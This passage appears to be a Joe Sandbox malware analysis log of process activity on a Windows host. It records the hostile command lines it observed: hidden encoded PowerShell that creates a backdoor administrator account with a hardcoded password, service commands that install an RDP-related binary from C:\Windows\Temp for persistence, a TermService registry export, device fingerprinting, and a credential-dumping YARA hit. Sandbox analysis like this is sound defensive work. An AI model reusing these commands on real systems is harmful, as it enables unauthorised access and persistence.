AG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Imagebase:	0x7ff71ed20000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	06:14:54
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7248b0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	06:14:54
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7248b0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	06:14:54
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query myRdpService
Imagebase:	0x7ff7933d0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	06:14:55
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Imagebase:	0x7ff71ed20000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	06:14:55
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7248b0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	06:15:42
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc query myRdpService
Imagebase:	0x7ff6828d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2448, Parent PID: 5720

General

Target ID:	32
Start time:	06:15:42
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7248b0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	06:15:42
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query myRdpService
Imagebase:	0x7ff7933d0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	06:15:42
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc stop "myRdpService"
Imagebase:	0x7ff6828d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	06:15:42
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7248b0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	06:15:42
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop "myRdpService"
Imagebase:	0x7ff7933d0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	06:15:43
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc query myRdpService
Imagebase:	0x7ff6828d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 5632, Parent PID: 6372

General

Target ID:	38
Start time:	06:15:43
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7248b0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	06:15:43
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query myRdpService
Imagebase:	0x7ff7933d0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	06:15:53
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Imagebase:	0x7ff6828d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	06:15:53
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7248b0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	06:15:53
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc delete "myRdpService"
Imagebase:	0x7ff7933d0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	06:15:53
Start date:	11/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Imagebase:	0x7ff7933d0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	06:15:53
Start date:	11/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net start "myRdpService"
Imagebase:	0x7ff65f1f0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	06:15:53
Start date:	11/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 start "myRdpService"
Imagebase:	0x7ff689510000
File size:	183'808 bytes
MD5 hash:	BA0BCCC6029FBBE6D8B41197F252742F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	06:15:53
Start date:	11/12/2024
Path:	C:\Windows\Temp\myRdpService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Temp\myRdpService.exe cakoi10
Imagebase:	0x7ff6bca80000
File size:	9'429'504 bytes
MD5 hash:	5641F3A5B9787F23D3D34F0D9F791B7A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: hacktool_windows_moyix_creddump, Description: creddump is a python tool to extract credentials and secrets from Windows registry hives., Source: 0000002E.00000002.291517225825.00007FF6BCF86000.00000004.00000001.01000000.0000000A.sdmp, Author: @mimeframe
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	06:15:59
Start date:	11/12/2024
Path:	C:\Windows\regedit.exe
Wow64 process (32bit):	false
Commandline:	"regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Imagebase:	0x7ff757c80000
File size:	370'176 bytes
MD5 hash:	999A30979F6195BF562068639FFC4426
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	06:16:00
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
Imagebase:	0x7ff71ed20000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	06:16:00
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7248b0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	06:16:00
Start date:	11/12/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\systeminfo.exe"
Imagebase:	0x7ff7937f0000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	06:16:01
Start date:	11/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6a8cb0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	06:16:04
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	/c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Imagebase:	0x7ff6828d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	06:16:04
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7248b0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	06:16:04
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Imagebase:	0x7ff71ed20000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	06:16:05
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Imagebase:	0x7ff71ed20000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	06:16:05
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7248b0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FF9D39B33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.290056336585.00007FF9D39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff9d39b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36e879b52527cf9c0831b621c126732d1c6f159b4781d2086e37170df1838c7a
Instruction ID: 82a62434426bb83437775ffb93b6c676438d5f57da5d338ab0321b18851f8213
Opcode Fuzzy Hash: 36e879b52527cf9c0831b621c126732d1c6f159b4781d2086e37170df1838c7a
Instruction Fuzzy Hash: 0901677111CB0C8FD744EF1CE491AA6B7E0FB95324F50056EE58AC3651DB36E892CB45

Analysis Process: powershell.exePID: 3076, Parent PID: 6652COMMON

Executed Functions

Function 00007FF9D39CF1C6 Relevance: .5, Instructions: 474COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.290379367462.00007FF9D39C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9d39c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6ff73f9b5df538dc8f6cf7f302e1200e3c37f087513c4eab4a7e05f43e7c671
Instruction ID: 2f0fe00a75b6da27a529f483ffdf217c5f4e82ed5162c5ff9757d3b0c05b6727
Opcode Fuzzy Hash: e6ff73f9b5df538dc8f6cf7f302e1200e3c37f087513c4eab4a7e05f43e7c671
Instruction Fuzzy Hash: D5F1C331508A8D8FEBA8DF28C849BE977D1FF55315F14826EE84EC7295CB74A8418B81

Function 00007FF9D39CFF72 Relevance: .5, Instructions: 460COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.290379367462.00007FF9D39C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9d39c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2de51a3c754ad1a70ca26dddc2192fa5099018a361fc0849f19bdeb8bff6d434
Instruction ID: 258facd6891d8b052e0bc938c0b2e6d0b757b5e5e4dded642a474cb46b0fbfd0
Opcode Fuzzy Hash: 2de51a3c754ad1a70ca26dddc2192fa5099018a361fc0849f19bdeb8bff6d434
Instruction Fuzzy Hash: AFE1E530A08A4D8FEBA8DF28D85ABED77D1FF55311F14826ED84DC7291CE74A8458B81

Function 00007FF9D410037F Relevance: .4, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.290396184631.00007FF9D4100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D4100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9d4100000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4888c71f8e6e7aa1263e2826130c8c0d5a6a9ad28c5c46f664a900f993957e6
Instruction ID: 13b969a8796b971193cacc4140790d227feff2834fc06c1c98af642d8de9c6b0
Opcode Fuzzy Hash: d4888c71f8e6e7aa1263e2826130c8c0d5a6a9ad28c5c46f664a900f993957e6
Instruction Fuzzy Hash: CFB12662A0DB8A4FE769E72C69997B97F95EF66210F1800BFD08DC70C3ED59AC058341

Function 00007FF9D39CFB86 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.290379367462.00007FF9D39C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9d39c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08a4404e1baf61a622dbeb7a46971a3af240da128b163b9630edb07295adb338
Instruction ID: ac922b789f175f25e4acc59c4204c9d6048dc0f3b1c3c51477c1f47a75f18c7c
Opcode Fuzzy Hash: 08a4404e1baf61a622dbeb7a46971a3af240da128b163b9630edb07295adb338
Instruction Fuzzy Hash: 95B1F63150CA4D8FEB68DF28C855BE97BD1EF55311F14826EE84EC7296CF74A8418B82

Function 00007FF9D39CB4FD Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.290379367462.00007FF9D39C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9d39c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be62a852b89462b49e2296984744a1887f38dac7f5e11659ff8b2ef390e8944e
Instruction ID: 9362b413c861ca562a41d06aa8d8bd8874e453f7b6b02f8b0da31ea88a750ffc
Opcode Fuzzy Hash: be62a852b89462b49e2296984744a1887f38dac7f5e11659ff8b2ef390e8944e
Instruction Fuzzy Hash: C131F43190CB8C8FDB16DB689859BE9BFF0EF56310F0441AFC089D3193CA656809CB51

Function 00007FF9D39D2800 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.290379367462.00007FF9D39C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9d39c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fe81bc465b4dcecc18a8fff89d868fc18842ea47136d8a99619f864d3f9051b
Instruction ID: 30285c6e76d5d4947918e0916cb001f63401d1a93a027e27ba1910d59d4be5ae
Opcode Fuzzy Hash: 3fe81bc465b4dcecc18a8fff89d868fc18842ea47136d8a99619f864d3f9051b
Instruction Fuzzy Hash: 4241F57060D6498FEB94EB18E44AFBA7BE1EF5A315F2400BED589D7152CD68F841C780

Function 00007FF9D39D1458 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.290379367462.00007FF9D39C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9d39c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6675aa79fce44c5d24069d121159538f570e515ae73743514ed576863c1a639d
Instruction ID: 34926d967663c054e8e037bb4e1f706c7a6ef89653b09db3c8aa3b7bd8c84e08
Opcode Fuzzy Hash: 6675aa79fce44c5d24069d121159538f570e515ae73743514ed576863c1a639d
Instruction Fuzzy Hash: 2031C73191CB488FDB58DB5CA80AAA9BBE0FB59321F00426FE449D3251DB74B855CBC2

Function 00007FF9D3A927E8 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.290380587889.00007FF9D3A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D3A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9d3a90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbd18cce793de45f8dafe0f06f3a8a484b4cc304e881ee8a76e180e37432ce74
Instruction ID: a453d7c2995206b76d67b840eaebef20784933b565c7cba57a95e38c200ab7d3
Opcode Fuzzy Hash: fbd18cce793de45f8dafe0f06f3a8a484b4cc304e881ee8a76e180e37432ce74
Instruction Fuzzy Hash: 1631E422B0DA194FEFE9DA5C5415BB8B3D2DF55261BA441FFC54EE3186ED08BC008381

Function 00007FF9D39CB658 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.290379367462.00007FF9D39C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9d39c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d557b99d733132aa6239c926f25e97eb93679b54c78e48c0cbd0e726ccb1d80
Instruction ID: 5f45cf03af176c4e3e7cc10cfb2f2de16184e4128a6a881e3e85fc94388dfa13
Opcode Fuzzy Hash: 4d557b99d733132aa6239c926f25e97eb93679b54c78e48c0cbd0e726ccb1d80
Instruction Fuzzy Hash: BA31273190C64C8FDF58DFA8D84ABE9BBE0EB56321F00416FD049D7292CAB56455CB51

Function 00007FF9D39D17F8 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.290379367462.00007FF9D39C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39C0000, based on PE: false

